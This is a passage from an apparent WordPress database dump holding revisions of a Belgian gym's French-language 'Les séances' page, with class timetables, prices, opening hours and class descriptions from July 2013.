5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;Le week-end&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 30%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-03 16:08:26', '2013-07-03 16:08:26', '', 11, 'http://www.crosstrainingcenter.be/?p=160', 0, 'revision', '', 0),
(198, 1, '2013-07-03 17:41:28', '2013-07-03 17:41:28', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\n&lt;h6&gt;En semaine :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h6&gt;Le week-end :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 45%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; border-bottom-style: dotted;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Du Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Personal et Duo Training (sur rendez-vous)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Tous les jours du lundi au dimanche.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Les cours :&lt;/h2&gt;\r\n&lt;strong&gt;En semaine&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;Le week-end&lt;/strong&gt;\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-03 17:41:28', '2013-07-03 17:41:28', '', 11, 'http://www.crosstrainingcenter.be/?p=198', 0, 'revision', '', 0),
(173, 1, '2013-07-03 16:42:38', '2013-07-03 16:42:38', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 personnes).\r\n\r\nEn semaine :\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;theure\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td &gt;TRX&lt;/td&gt;\r\n&lt;td &gt;CARDIO&lt;/td&gt;\r\n&lt;td &gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td &gt;GLFE&lt;/td&gt;\r\n&lt;td&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td  class=\&quot;theure\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border-bottom: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border-bottom: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border-bottom: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border-bottom: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border-bottom: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td  class=\&quot;theure\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td  class=\&quot;theure\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n\r\n\r\n\r\n\r\n&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; border-bottom-style: dotted;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Du Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Personal et Duo Training (sur rendez-vous)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Tous les jours du lundi au dimanche.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Les cours :&lt;/h2&gt;\r\n&lt;strong&gt;En semaine&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;Le week-end&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 30%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des 